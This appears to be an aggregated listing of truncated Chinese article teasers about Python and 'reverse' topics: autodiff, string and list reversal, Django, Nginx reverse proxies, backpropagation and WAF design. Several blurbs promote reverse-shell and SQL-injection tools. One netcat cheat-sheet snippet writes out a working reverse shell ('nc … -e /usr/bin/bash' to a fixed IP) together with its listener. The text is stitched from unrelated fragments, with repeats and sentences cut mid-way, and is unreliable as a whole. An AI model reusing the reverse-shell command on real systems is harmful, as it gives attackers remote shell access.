李林 编译自 Google Research Blog 量子位 出品 | 公众号 QbitAI 谷歌今天推出了一个新的开源Python自动微分库:Tangent。 和现有的机器学习库不同,Tangen
ShellPop是一款针对Shell的管理工具,在该工具的帮助下,广大研究人员不仅可以轻松生成各种复杂的反向Shell或Bind Shell,而且还可以在渗透测试过程中实现Shell的“花式”弹出,这将极大程度地简化大家的渗透测试任务。
近日,谷歌在其官方博客上开源了「Tangent」,一个用于自动微分的源到源 Python 库;它通过 Python 函数 f 生成新函数,来计算 f 的梯度,从而实现更好的梯度计算可视化,帮助用户更容易地编辑和调试梯度;本文还扼要概述了 Tangent API,包括如何使用 Tangent 在 Python 中生成易于理解、调试和修改的梯度代码。 Tangent 是一个免费、开源的新 Python 库,用于自动微分。和目前已有的机器学习库不同,Tangent 是一个源到源(source-to-source)
日前,Google Research Blog 推出开源 Python 库“Tangent”。据介绍,这个库与现有的机器学习库相比,存在诸多优势,可以大大改善了用户的使用体验。 AI研习社编译整理如下: Tangent 是一个全新的免费开源 Python 库,可以用于自动微分。与其他现有的机器学习库相比,Tangent属于源到源(source-to-source)系统,可以用 Python f 函数调用新的 Python 函数,计算出 f 的梯度。对用户来说,这大大改善了梯度计算的可见性,更易于编辑和调
AI科技评论消息:日前,Google Research Blog 推出开源 Python库“Tangent”。据介绍,这个库与现有的机器学习库相比,存在诸多优势,可以大大改善了用户的使用体验。 AI科技评论编译整理如下: Tangent 是一个全新的免费开源 Python 库,可以用于自动微分。与其他现有的机器学习库相比,Tangent属于源到源(source-to-source)系统,可以用 Python f 函数调用新的 Python 函数,计算出 f 的梯度。对用户来说,这大大改善了梯度计算的可见性,
Hey,大家好呀,我是码农,星期八!熟悉Django的都知道,Django真是个好东西。
选自Google Research Blog 机器之心编译 参与:黄小天、刘晓坤 近日,谷歌在其官方博客上开源了「Tangent」,一个用于自动微分的源到源 Python 库;它通过 Python 函数 f 生成新函数,来计算 f 的梯度,从而实现更好的梯度计算可视化,帮助用户更容易地编辑和调试梯度;本文还扼要概述了 Tangent API,包括如何使用 Tangent 在 Python 中生成易于理解、调试和修改的梯度代码。 Tangent 是一个免费、开源的新 Python 库,用于自动微分。和目前已有
求 DNA 的反向互补序列分两步:第一是反向,第二是互补。比如序列“ATGC”,反向就是“CGTA”,再互补就是“GCAT”。
反转Python字符串的三种主要方法:“切片”,反转迭代和经典的就地反转算法。
1、可在程序diamante中访问正则表达式匹配后的分组内容,也可在正则表达式内部引用前的分组。
对列表进行反序是一个很常见的操作, 但python反向切片的玩法实在是非常简洁, 让人无法拒绝, 其实对某一数据结构进行"反向"是一个很有意思的操作, 比如对二叉树进行反序明星程序员被Google挂掉的故事, 还有google著名的 在不使用额外空间的前提下, 对句子内的单词进行反序的问题, 比如将This is a pen 反向为 pen a is This
Mediator是一款功能强大的端到端加密反向Shell,该工具能够帮助研究人员跟一台“Mediator”服务器通过一个Shell连接起来,这样就不需要研究人员或处理程序设置端口转发来监听连接。除此之外,Mediator还允许我们创建插件来扩展反向Shell的功能。
关于reverseip_py reverseip_py是一款功能强大的IP地址反向查询工具,该工具使用了Python 3开发,并基于IPAddress.com实现其IP地址反向查询功能。 反向IP查找,指的是查找托管在特定IP地址上的所有域名的过程。在渗透测试或网络安全研究过程中,这些信息将非常有用,比如说可以帮助广大研究人员识别托管在共享托管服务器上的所有网站,或者找出哪些网站托管在与特定网站相同的IP地址上。 工具依赖 beautifulsoup4 requests urllib3
Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台“Mediator”服务器来跟Shell建立连接。这样一来,研究人员就不需要处理程序设置端口转发以侦听连接。除此之外,Mediator还可以帮助我们创建插件来扩展反向Shell的功能。
正则表达式高级 ——《精通正则表达式》 +Java/Go/Python官方文档 +多年经验 +实验结果 知识整理
在 Python 中使用列表时,在某些情况下,您可能需要比较两个列表是否反向相等。这意味着一个列表中的元素与另一个列表中的元素相同,但顺序相反。在 Python 中,我们可以使用反转和比较列表、使用 zip() 函数、将列表转换为字符串等方法检查两个列表是否反向相等。在本文中,我们将了解这些方法,并借助各种示例检查两个列表是否反向相等。
字符串反转,这个大家平常应该时长碰到,特别是面试时,通常还有一些变种,如:判断回文。 这里列举python中的三种实现方式(切片,反向迭代,经典就地反转算法),小说一把字符串反转。 经典算法 对于从其他语言转向python的小伙伴们,最直接的实现很大概率会是这样的 def reverse_string_classic(src): """ 字符串反转,经典算法 :param src: 源字符串 :return: 反转后字符串 """ chars = lis
python列表有几种切片形式 📷 1、切片形式 (1)正向切片 正向切片即使用正向索引,索引从0开始进行切片。 (2)反向切片 反向切片即使用反向索引,索引从-1开始进行切片。 (3)多维切片 列表是支持多维切片的,如下示例,拿出2维列表中的数据项A (4)高级切片 反向和正向切片可以混合使用。 2、实例 >>> li = ["A", "B", "C", "D", "E", "F", "G"] >>> li[:] ① ['A', 'B', 'C', 'D', 'E', 'F', 'G'] >>> li[2
在setting里面设置你要连接的数据库名称,地址,账号密码之类的信息,和创建新项目的时候一致
那么,我们要是想查询python是由那几家出版社出版的(虽然一般只是一家) ,我们可以这样做:
Nginx的一个常见使用场景是反向代理,可以用来隐藏后端服务地址或者做负载均衡使用。下面就来看看怎么实现一个最简单的反向代理。
今天给大家介绍一款名叫SQLiv的批量SQL注入漏洞扫描工具。 功能介绍 批量域名扫描SQL注入漏洞; 扫描指定域名(带爬虫功能); 反向域名扫描; SQL注入漏洞扫描以及域名信息检测都是采用多进程方式进行的,所以脚本的运行速度会非常快,并能够同时扫描多个URL地址。 工具的安装与运行 用户可以使用下列命令安装和运行SQLiv: git clonehttps://github.com/Hadesy2k/sqlivulscan.git sudo python2 setup.py -i 依赖组件 bs4
太郎在超市买了2个苹果、3个橘子。 其中,苹果每个100日元,橘子每个150日元。 消费税是10%,请计算支付金额。
python web 部署 web开发中,各种语言争奇斗艳,web的部署方面,却没有太多的方式。简单而已,大概都是 nginx 做前端代理,中间 webservice 调用程序脚本。大概方式:nginx + webservice + script nginx 不用多说,一个高性能的web服务器。通常用来在前端做反向代理服务器。所谓正向与反向(reverse),只是英文说法翻译。代理服务,简而言之,一个请求经过代理服务器从局域网发出,然后到达互联网上服务器,这个过程的代理为正向代理。如果一个请求,从互联网过
可以试用编写的Python脚本,该脚本在此Github存储库中实现了反向传播算法。
在前一篇我们说了,mybatis-generator反向生成代码。 这里我们开始说如何在django中反向生成mysql model代码。 我们在展示django ORM反向生成之前,我们先说一下怎么样正向生成代码。 正向生成,指的是先创建model.py文件,然后通过django内置的编译器,在数据库如mysql中创建出符合model.py的表。 反向生成,指的是先在数据库中create table,然后通过django内置的编译器,生成model代码。 1、准备工作 创建django工程以及app 创
作为一名渗透测试人员,最令人激动的莫过于netcat为我们反弹回了一个shell连接,以及通过id命令查看到一个令人满意的用户权限。但凡事总有意外,由于我们获取的shell并不是一个具有完整交互的sh
深度学习系列(2):前向传播和后向传播算法 前言 讲真,之前学吴恩达的机器学习课时,还手写实现过后向传播算法,但如今忘得也一干二净。总结两个原因:1. 理解不够透彻。2. 没有从问题的本质抓住后向传播的精髓。今天重温后向传播算法的推导,但重要的是比较前向传播和后向传播的优缺点,以及它们在神经网络中起到了什么不一般的作用,才让我们如此着迷。 反向传播的由来 反向传播由Hinton在1986年发明,该论文发表在nature上,高尚大的杂志啊。 Rumelhart, David E, G. E. Hinton,
Shells是一款功能强大的反向Shell快速生成工具,该工具由4ndr34z负责开发和维护,可以帮助广大研究人员轻松生成常用的反向Shell。如果你需要一种简单的方法来生成格式化的PowerShell以及Python反向Shell的话,Shells这款工具将是你的不二选择。
大多数关于神经网络的介绍性文章在描述它们时都会提到大脑类比。在不深入研究大脑类比的情况下,我发现简单地将神经网络描述为将给定的输入映射到期望的输出的数学函数就更容易了。
这篇文章将演示如何利用Python创建反向shell。首先,我们将展示如何利用Web服务器功能将文件从一个主机移动到另一个主机。比如说,你有一个潜在受害者的原始shell,并希望拉过一个Python反向shell(或meterpreter二进制文件),以便更好地访问主机。您可以在单行代码中快速启动Python Web服务器,然后将文件拉过来。
Karkinos Karkinos是一款针对CTF和渗透测试的瑞士军dao,支持反向Shell处理、数据编码/解码、数据加密/解密以及哈希破解等操作。该工具可以帮助广大研究人员让渗透测试或CTF的效率变得更高,此工具应仅用于您有权攻击的应用程序。任何误用或损坏均由用户自行负责。 Karkinos是一个轻量级的网络安全“瑞士军dao”,专为渗透测试和CTF设计,当前版本的Karkinos支持以下功能: 编码/解码字符 加密/解密文本或文件 反向Shell处理 破解和生成哈希 依赖组件 任何支持托管PHP网站的
关于Tornado Tornado是一款功能强大的红蓝队安全研究工具,同时也一款功能强大的匿名反向Shell。该工具基于隐藏服务实现其功能,并且没有使用端口转发技术。简而言之,Tornado是一款完全无法被检测到的反向Shell工具,可以帮助广大研究人员实现渗透测试等安全分析任务。 Tornado通过Metasploit和msfvenom模块实现其功能,可以轻松为本地主机创建隐藏服务。整个过程不会涉及到跟.onion域名的端口转发。如果你使用过其他远程管理工具的话,你就知道这意味着什么了。值得一提的是,T
熟悉 Django 的朋友应该知道,我们可以通过「 inspectdb 」命令将数据库表反向生成 Model 并写入到文件中去
如果你打算入门这风行一世的深度学习领域,这篇文章应该在合适不过了,本文协助你在2分钟内开始使用python PyTorch和用python编写的代码。对于那些不知道PyTorch是什么的人来说,它是一个来自Facebook的开源深度学习平台,提供了从研究原型到生产部署的无缝路径。
Openresty的核心功能就提供WEB服务,Openresty还有个很重要的功能就是用作反向代理服务器。 WAF防护功能的基本原理就是利用Openresty的反向代理模式工作。 因为Openresty服务器作为后端WEB服务器的前置服务器,先于后端服务器收到用户的请求,Openresty服务器在某个处理阶段,通过LUA语言读取用户的HTTP请求数据,并通过特定规则过滤策略,发现用户请求中的恶意攻击行为。 当Openresty的拦截分析功能,发现用户的请求含有威胁的意图时,直接将用户的请求进行了拦截。这时的请求,实际上不会被发送给业务服务器。(Openresty的常用处理阶段) 这种模式本质上,也是一种串行的流量复制模式,从时间轴上用户请求的数据,被按时间的前后顺序复制了两份, 一份数据先传给反向代理服务模式下的代理服务器,当代理服务器经过安全策略的检查,发现用户的请求没有威胁行为,又将几乎同样的请求数据转发给上游的业务服务器。 现在还有一种基于日志分析的WEB防护系统,这种系统依赖与日志的产生,在请求交给业务服务器,产生日志以后,对日志进行分析,当发现有异常攻击行为在请求当中,会从下次请求的时进行拦截。 这种模式没有建立下反向代理的工作模式下,只有当就服务器已经响应了用户请求后, 生成日志之后才能分析,相对来说处理是滞后一步的。 这种场景下的系统,要求拦截模块可以与分析系统、业务系统协同工作。 还有一种的是基于流量并行复制,将要给业务服务器的请求数据,先通过分光或是其他形式的流量复制,把流量发给其他服务器,其他服务器通过特定服务的流量协议的数据解析,将给业务的HTTP解析取得,然后分析流量的威胁行为,当异常请求再来的时候,通过业务服务器的前置Operesty、Tengine、Nginx等前置或是负载均衡,或部署业务本身服务的拦截模块进行拦截。 这种模式的处理,反向代理模式的代理那部分拦截模块,不负责异常的分析,只做具体的拦截动作。这样最大的好处是,代理或是负载均衡集群没有“思考”的时间消耗,只是执行具体拦截,这样的反向代理的模式下,不会消耗业务服务的太多响应时间。 这种模式,最大限度减少代理服务器对业务服务器的响应损耗,某些业务对应影响业务所消耗的时间严格的限制,并且对已上线的业务来说,压测准确率不能交十分好的把握,如果处理不好,出现正则风暴的可能性也都是有的,同样的问题是拦截相对第一时间拦截响应的模式,也会滞后处理。 各种模式都有自己的好处和弊端,对于不同的业务规模可以使用对应的模式与其匹配。 对于一些小型的业务来说,可以不使用太重型的武器,理论上来讲,只要反向代理的模式可以覆盖业务量,成本和部署好控制,可以选用反向代理模式的WEB防火墙部署。这种模式对DDOS基本也是无解的。 WAF系统的规则构建,针对于单一的业务来讲,没有必要求大求全,除去通用规则,Python业务服务没有必要配置PHP的拦截规则,Python的业务语言框架,也不用要求WAF系统进行拦截, 因为当前业务用的Python的框架, 不会有PHP框架的漏洞。 WAF和反爬虫系统不一样的地方,排除扫描器的爬虫行为。爬虫系统的目的是抓取网上的有价值的网页内容, 而不是非要爬取数据的同时,在爬取请求的链接中加入XSS和SQL注入,毕竟爬虫是抓取内容,而不是把发现漏洞和攻陷主机或是挂马为目的。 反爬系统的异常和WAF系统检查异常的角度是不一样的。因为请求者的目的就不一样。但是他们采用的技术手段有时候是类似的。无论从路由器设备就开始取得流量数据,还是通过镜像在链路层,或是网络层复制流量、还是通过Openresty反向代理代理的7层读取流量数据,要根据业务的硬件架构和软件结构来分析判断匹配对应模式的。 WAF系统的拦截规则不是万能的,即使是同样的异常拦截规则,也不是可以简单的移植到别的系统上的。一种是规则解释模块的功能问题,还有性能问题,核心的引擎平台怎么样。
Python 是一门易于学习、功能强大的编程语言。它提供了高效的高级数据结构,还能简单有效地面向对象编程。Python 优雅的语法和动态类型以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的理想语言。下面我们来介绍一下python列表的排序操作语法。
以上就是python切片的特征介绍,希望对大家有所帮助。更多Python学习指路:python基础教程
文章来自:https://leonardoaraujosantos.gitbooks.io 原文作者:Leonardo Araujo dos Santos
数据库搞完了,也该部署下一些接口了。我常用的是Python的fastapi做接口。
本文中介绍 Python 中 5 个高阶内置函数,它们不仅能够帮助我们了解 Python 的数据结构,同时也能加快数据处理的速度,体会到 Python 的强大。
几个月前,小编借着调查 AI 类技术书市场情况的机会,发现了一本比较特殊的技术书,于是向大家推荐了这本《深度学习入门:基于 Python 的理论与实现》。
反向代理是一种代理服务器,它接受HTTP(S)的请求后,把它们发送到一个或多个后端服务器。反向代理非常有用,因为许多现代网络应用使用后端应用程序服务器处理传入的HTTP请求,后端应用程序服务器并非直接由用户访问,并且通常仅支持基本的HTTP功能。
apt-get -y install netcat-traditionalupdate-alternatives --config nc nc文件传输接受端:nc -lp 333 > 1.exe发送端:nc -vn 172.18.13.90 333 < 4.1.exe -q 1nc简易聊天A:nc -l -p 888B:nc -vn 172.18.13.90 888nc反向shell:目标机:nc 172.18.13.90 9999 -e /usr/bin/bash攻击机:nc -lvp 9999pytho
深度学习已经成为机器学习领域的一个热门话题,而多层感知机(MLP)是最基础的深度学习模型之一。在这篇教程中,我将向你展示如何使用Python来实现一个简单的MLP模型。
在上一篇文章小白也能看懂的BP反向传播算法之Into-Backpropagation,我们研究了一个嵌套神经元的反向传播的计算,了解到反向传播本质就是利用链式法则,求取所需要更新的变量的偏导数!但我们前文所研究的神经元是比较简单的,没有复杂的函数,也没有复杂的结构,而真实的神经网络中,往往神经元的函数和结构都比较复杂!
JSshell是一个JavaScript反向Shell工具,该工具可以帮助广大研究人员远程利用XSS漏洞或扫描并发现XSS盲注漏洞。当前版本的JSshell支持在Unix和Windows操作系统上运行,并且同时支持Python2和Python3。跟JShell(一款由s0med3v开发的通过XSS漏洞获取JavaScript反向Shell的工具)相比,这是一个非常大的更新,而且JSshell还不需要Netcat的支持,这一点跟其他的JavaScript Shell也有很大的区别。
Nuubi是一款功能强大的信息收集&网络侦查扫描工具,该工具基于Python语言开发,因此拥有较强的跨平台特性,广大研究人员可以使用Nuubi轻松完成信息收集、网络侦查以及网络扫描等任务。
本地化 Bug 并修复程序是软件开发过程中的重要任务。在本篇论文中,来自微软 Cloud+AI 部门的研究者介绍了 DeepDebug,一种使用大型预训练模型 transformer 进行自动 debug 的方法。
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